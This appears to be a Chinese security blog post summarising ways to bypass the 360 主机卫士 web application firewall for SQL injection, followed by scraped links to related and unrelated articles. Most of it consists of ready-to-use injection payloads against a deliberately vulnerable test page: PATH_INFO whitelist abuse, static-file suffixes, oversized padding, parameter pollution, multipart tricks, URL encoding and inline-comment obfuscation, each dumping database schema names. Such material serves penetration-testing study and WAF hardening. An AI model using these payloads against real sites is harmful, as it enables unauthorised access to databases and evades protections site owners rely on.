SQL注入绕WAF总结
0x00 前言
0x01 环境搭建
软件版本:360主机卫士Apache 纪念版
测试环境:phpStudy
这边主要分享一下几种思路,Bypass 360 主机卫士 SQL 注入防御。
<ignore_js_op>
1
2
|
id = _REQUEST[' id ']; query = "SELECT * FROM admin WHERE id = id " ; |
因zhuji.360.cn站点已关闭,拦截界面为空白,抓包先放一张拦截图:
<ignore_js_op>
姿势一:网站后台白名单
在360主机卫士客户端设置中存在默认网站后台白名单,如图:
<ignore_js_op>
利用PHP中的PATH_INFO问题,随便挑选一个白名单加在后面,可成功bypass。
<ignore_js_op>
1
|
/ test.php / admin? id = 1 union select 1 , 2 , schema_name from information_schema.SCHEMATA |
姿势二:静态资源
<ignore_js_op>
1
|
/ test.php / 1. png? id = 1 union select 1 , 2 , schema_name from information_schema.SCHEMATA |
姿势三:缓冲区溢出
1
2
3
|
/ test.php POST: id = 1 and ( select 1 ) = ( Select 0 xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ) union select 1 , 2 , schema_name from information_schema.SCHEMATA |
姿势四:uri参数溢出
01
02
03
04
05
06
07
08
09
10
11
12
|
http : / / 192.1 68.2 04.1 28 / test.php POST: id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 union select 1 , 2 , schema_name % 0 a / ! from / information_schema.SCHEMATA |
1
2
|
/ test.php? id = 1 union select 1 , 2 , schema_name from information_schema.SCHEMATA POST:aaa |
<ignore_js_op>
姿势六:multipart/form-data格式
1
2
3
4
5
|
------WebKitFormBoundaryACZoaLJJzUwc4hYM Content - Disposition : form - data ; name = "id" 1 union / * ! select * / 1 , 2 , schema_name【这里使用Enter换行】 from information_schema.SCHEMATA ------WebKitFormBoundaryACZoaLJJzUwc4hYM-- |
如果转换数据包进行绕过呢?
首先,新建一个html页面:
1
2
3
4
5
6
7
8
9
|
< html > < head > < / head > < body > < input type = "text" name = "id" > < input type = "submit" > < / form > < / body > < / html > |
<ignore_js_op>
姿势七:编码绕过
1
2
|
/ test.php? id = 1 POST: id = 1 % 55 nion % 53 elect / * ! 1 , 2 , schema_name % 0 aFROM information_schema.SCHEMATA * / |
<ignore_js_op>
姿势八:%0a+内联注释
1
2
3
|
http : / / 192.1 68.2 04.1 28 / test.php POST: id = 1 union% 0 a / * ! 12345 select * / 1 , 2 , schema_name% 0 a / * ! 12345 from * / information_schema.SCHEMATA |
<ignore_js_op>
0x03 自动化Bypass
0x04 END
SQL注入绕WAF总结的更多相关文章
- 一次简单的SQL注入绕WAF
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个 1.目标网站 2.发现有WAF防护 3.判断存在注入 4.猜测了一下闭合为 ...
- SQL注入绕过waf的一万种姿势
绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- SQL注入过WAF(11.4 第三十三天)
WAF是什么? Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如D ...
- BUUCTF-[网鼎杯 2018]Fakebook(SSRF+联合注入绕Waf)
记一道SSRF配合SQL注入的题. 喜欢在做题之前扫一下网站的目录,扫到了robots.txt文件可以访问,拿到user.php.bak的源码.同时还有flag.php. <?php class ...
- 记录一次Oracle注入绕waf
这个注入挺特殊的,是ip头注入.我们进行简单的探测: 首先正常发起一次请求,我们发现content-type是76 探测注入我习惯性的一个单引号: 一个单引号我发现长度还是76 我开始尝试单引号,双引 ...
- WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF
一.通配符简介: 一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符. 举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf: ...
随机推荐
- Redies安装,修配置,设置密码,
Redies下载路径:https://github.com/MicrosoftArchive/redis/releases 我下的是Redis-x64-3.2.100.msi 下载后安装,一步一步操作 ...
- c编译动态库可以编译但是无法导入解决方法
$(CC) $(CFLAGS) -Wl,--whole-archive ${libusb} -Wl,--no-whole-archive $(lib_objs) $(LFLAGS) -o $(lib) ...
- 堆排序(heap sort)
参考博客:http://bubkoo.com/2014/01/14/sort-algorithm/heap-sort/ 1.二叉树 二叉树的第 i 层至多有 2i-1 个结点:深度为 k 的二叉树至多 ...
- Livereload or meta
静态页面布局的过程中,如果可以一边写一边看见结果,那肯定是很方便的,在最开始使用的DW中实现了这一目标,但并不是浏览器环境下.之后使用gulp中的livereload后配合chrome插件livere ...
- Linux-Shell编程之求命令行中所有整数之和
前言 复习shell编程知识,书中有此练习题,之前学习时便没有搞透彻,此次是非啃下不可. 但是,摸索许久,却屡碰南墙,于是查阅网络博客,结果有让人比学不懂知识更让生气的是:博文遍地,净是抄袭!连个截图 ...
- THUWC2019 GG记
所以要什么时候才不会出现像这样的滚粗记呢? Day-?~Day-4 我也不清楚具体干了什么 不过学了很多东西,至少相对于去年还是个小菜鸡,今年已经变成大菜鸡了 Day-3~Day-1 几乎就是复习前面 ...
- js较深入的知识点
浏览器渲染过程是怎样的?重绘重排是什么?如何避免过多的重绘重排? 将html解析为dom树; 将css解析为cssom; 结合DOM树和CSSOM树,生成一棵渲染树(Render Tree); 生成布 ...
- sql注入--双查询报错注入原理探索
目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...
- Large-Margin Softmax Loss for Convolutional Neural Networks
paper url: https://arxiv.org/pdf/1612.02295 year:2017 Introduction 交叉熵损失与softmax一起使用可以说是CNN中最常用的监督组件 ...
- char *p[] 和char**的思考
char *p[] = {"hello","world"}; char **pp; pp = p; printf("%s,%s\n",*pp ...